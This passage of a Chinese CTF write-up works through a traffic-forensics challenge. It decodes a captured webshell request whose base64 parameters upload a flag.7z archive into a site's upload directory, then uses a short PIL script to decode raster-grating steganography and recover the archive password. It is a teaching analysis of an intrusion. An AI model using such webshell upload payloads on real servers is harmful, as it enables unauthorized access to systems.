发现PNG文件头特征,那说明这是一个png文件,那我们要怎么将它拉出来呢?
这个时候,就要用到我写的开源工具:https://github.com/AabyssZG/FileReverse-Tools
将导出的文件后缀名改成 .png
,就得到了这么一张图片:
同时,还要关注第5轮的数据包,解密后主体内容如下:
$mode="dXBkYXRl";$mode=base64_decode($mode);$path="L3d3dy9hZG1pbi93d3cud2Vic2hlbGwuY29tXzgwL3d3d3Jvb3QvdXBsb2FkL2ZsYWcuN3o=";$path=base64_decode($path);
$hash="";$blockIndex="MA==";$blockIndex=base64_decode($blockIndex);$blockSize="MzA3MjA=";$blockSize=base64_decode($blockSize);
$content="TjNxOHJ5Y2NBQVRxLzdOWU1BQUFBQUFBQUFCcUFBQUFBQUFBQUdIOTN1SjRGaG1xUGJtb2lBOVVyblkzQjAxTU0vQkdqZFJDN2NwK0VzSTg4Uk9UZ0R0QTdpOGpXWGkzSGl4MWFpTkNpRm9CQkFZQUFRa3dBQWNMQVFBQ0pBYnhCd0VTVXcrNkZKa29NL1RPTkFPZlAxVXk3dGVmSVNFQkFBRUFEREFzQUFnS0FVSnpRYUFBQUFVQkdRRUFFUk1BWmdCc0FHRUFad0F1QUhRQWVBQjBBQUFBR1FBVUNnRUFvaENQWEM1cTJRRVZCZ0VBSUFBQUFBQUE=";
$content=base64_decode($content);
同样对 $path
进行Base64解码,发现攻击者通过WebShell上传了一个7z压缩包:
/www/admin/www.webshell.com_80/wwwroot/upload/flag.7z
同样对 $content
进行二次Base64解码,进行两层的Base64解码,解密后如下:
N3q8ryccAATq/7NYMAAAAAAAAABqAAAAAAAAAGH93uJ4FhmqPbmoiA9UrnY3B01MM/BGjdRC7cp+EsI88ROTgDtA7i8jWXi3Hix1aiNCiFoBBAYAAQkwAAcLAQACJAbxBwESUw+6FJkoM/TONAOfP1Uy7tefISEBAAEADDAsAAgKAUJzQaAAAAUBGQEAERMAZgBsAGEAZwAuAHQAeAB0AAAAGQAUCgEAohCPXC5q2QEVBgEAIAAAAAAA
发现7z文件头特征,那说明这是一个7z压缩包文件,通过同样的手法拉出来
将导出的文件后缀名改成 .7z
,就得到了这么一个加密的压缩包:
2.4 拿到隐藏的压缩包密码
在上面拿到了一张隐写的图片和一个加密的压缩包文件,接下来就要通过这张图片找到压缩包的密码了。
本来我是看文章比较长了,不想继续往下写了,但很多人私信我想要看解题过程
上图的话,一看就是CTF中的光栅图,需要利用PIL库来做处理
赛后和 @daiowjfoaejoi
师傅交流了一下,这里编写如下脚本:
from PIL import Image
import numpy as np
img = np.array(Image.open('baseout.png'))
for i in range(5):
z = np.zeros_like(img)
z[:, i::5, :] = img[:, i::5, :]
Image.fromarray(z).show()
代码解释如下:
第一步、打开图像文件将其转换为NumPy
数组,img
就是一个包含图像像素值的NumPy
数组,然后创建一个与img
大小相同的全零数组z
,将用于生成新图像
第二步、在z
数组中将img
数组中每隔 5 列的像素值复制到相同位置,这将在原图像的基础上每次保留其中的一列,然后生成一系列具有不同颜色通道的图像
第三步、使用Pillow
的Image.fromarray
方法将NumPy
数组z
转换为图像对象,然后使用show
方法显示图像
最终效果:实现了一个循环,会生成并显示一系列图像(总共5张),每个图像都是在原图像基础上每隔 5 列像素值不同的图像
运行脚本后,如下图所示:
成功拿到解压密码:
PPeRLR6SEmHGC
对于光栅图的隐写解密,我这边还编写了一个开源工具,可以秒杀这道题
开源地址:https://github.com/AabyssZG/Raster-Terminator
能够自动去爆破并输出光栅图的图像,觉得不错的师傅们记得给我点点Star~
成功解压压缩包,拿到Flag:
总结
想要CTF打的好,还是要多刷题,多看看有哪些姿势能解决问题
最后一题等于白扯了那么久
文章写的太长了,懒得继续往下写了
拿到隐写的图片和压缩包,这道题很快就解决了,难点主要是中间提取的部分
现在我把最后一部分的解题思路写出来了
主体流量分成七段怎么看呢
文章里面写了,在WireShark右键->追踪TCP流后,在流4能看到非常多的HTTP流量,其中红色高亮是发送包,蓝色高亮是返回包
因为数据量太大,所以采用全部复制下来,然后一段一段的拉出来,可以很明显看到有7轮的发送包和返回包
大佬好,蹲一下附件,想复现一下。
好的,麻烦提供一下联系方式
我的QQ号是1281673283,微信号是AabyssZG
曾哥 我也想想要一下附件,想复现一下
相关题目附件已经上传到开源项目,题库地址:https://github.com/CTF-Archives/2023-zjsdxs/